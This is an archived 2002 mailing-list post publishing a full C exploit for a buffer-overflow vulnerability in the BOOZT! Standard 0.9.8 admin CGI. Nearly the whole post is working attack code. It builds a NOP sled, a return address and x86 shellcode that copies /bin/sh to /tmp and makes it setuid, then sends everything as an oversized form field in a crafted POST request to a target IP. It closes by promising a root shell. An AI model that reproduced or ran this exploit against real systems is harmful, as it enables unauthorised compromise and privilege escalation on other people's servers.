OSEC

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From: NIKEBOYretemail.es
Date: Wed Jan 09 2002 - 17:19:43 CST

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    here is the exploit for the vulnerability i posted some days ago.

    /* -----------------------------------------

            BOOZT! Standard 0.9.8 CGI vulnerability exploit

            Rafael San Miguel Carrasco

            rsanmcaralum.uax.es

       ----------------------------------------- */

    #include <netinet/in.h>
    #define PORT 8080
    #define BUFLEN 1597
    #define RET 0xbffff297
    #define NOP 0x90

    int main (int argc, char **argv) {

            int sockfd, i, cont;
            struct sockaddr_in dest;
            int html_len = 15;
            char cgicontent[2048];
            char buf[BUFLEN];

            char shellcode[]=
                   
    "\x29\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x02\xeb\x05\x29\xc0\x40\xcd\x80\x29\xc0\x29\xdb\x29\xc9"
                   
    "\xb0\x46\xcd\x80\xeb\x2a\x5e\x89\x76\x32\x8d\x5e\x08\x89\x5e\x36\x8d\x5e\x0b\x89\x5e\x3a\x29"
                   
    "\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x31\x89\x46\x3e\x87\xf3\xb0\x0b\x8d\x4b\x32\x8d\x53\x3e"
                   
    "\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20\x63\x70\x20\x2f\x62\x69\x6e"
                   
    "\x2f\x73\x68\x20\x2f\x74\x6d\x70\x2f\x73\x68\x3b\x20\x63\x68\x6d\x6f\x64\x20\x34\x37\x35\x35\x20"
                    "\x2f\x74\x6d\x70\x2f\x73\x68";

            char *html[15] = {
                    "POST /cgi-bin/boozt/admin/index.cgi HTTP/1.0\n",
                    "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
    */*\n",
                    "Referer:
    http://10.0.0.1:8080/cgi-bin/boozt/admin/index.cgi?section=5&input=1\n",
                    "Accept-Language: es, en\n",
                    "Content-Type: application/x-www-form-urlencoded\n",
                    "UA-pixels: 640x480\n",
                    "UA-color: color8\n",
                    "UA-OS: Windows 95\n",
                    "UA-CPU: x86\n",
                    "User-Agent: Mozilla/2.0 (compatible; MSIE 3.0; Windows 95)\n",
                    "Host: 10.0.0.1:8080\n",
                    "Connection: Keep-Alive\n",
                    "Content-Length: 1776\n",
                    "Pragma: No-Cache\n",
                    "\n",
            };

            if (argc < 2) {
                    printf ("usage: %s <IP>\n", argv[0]);
                    exit (-1);
            }

            printf ("----------\n");
            printf (" BOOZT! Standard exploit\n");
            printf ("----------\n");
            printf ("Rafael San Miguel Carrasco (_kiss_)\n");
            printf ("rsanmcaralum.uax.es\n");
            printf ("----------\n");

            for (i = 0; i < BUFLEN; i+=4)
                    *( (long *) &buf[i]) = RET;

            for (i = 0; i < (BUFLEN - 16); i++)
                    buf[i] = NOP;

            cont = 0;

            for (i = (BUFLEN - strlen (shellcode) - 16); i < (BUFLEN - 16); i++)
                    buf[i] = shellcode [cont++];

            strcpy (cgicontent, "name=");
            strncat (cgicontent, buf, sizeof (buf));
            strcat (cgicontent,
    "&target=&alt_text=&id_size=1&type=image&source=&source_path=Browse...&source_flash=&source_flash_path=Browse...&script_name=&input=1&section=5&sent=1&submit=Create+New+Banner");

            printf ("connecting ...\n");

            if ( (sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0) {
                    perror ("socket");
                    exit (-1);
            }

            bzero (&dest, sizeof (dest));
            dest.sin_family = AF_INET;
            dest.sin_port = htons (PORT);
            dest.sin_addr.s_addr = inet_addr (argv[1]);

            if (connect (sockfd, &dest, sizeof (dest)) < 0) {
                    perror ("connect");
                    exit (-1);
            }

            printf ("connected. sending buffer ...\n");

            for (i = 0; i < html_len; i++) {

                    if (write (sockfd, html[i], strlen(html[i])) < strlen(html[i]))
    {
                            perror ("write");
                            exit (-1);
                    }
            }

            if (write (sockfd, cgicontent, strlen(cgicontent)) < strlen(cgicontent))
    {
                    perror ("write cgicontent");
                    exit (-1);
            }

            if (close (sockfd) < 0) {
                    perror ("close");
                    exit (-1);
            }

            printf ("there should be a rootshell in /tmp.\n\n");

            return 0;
    }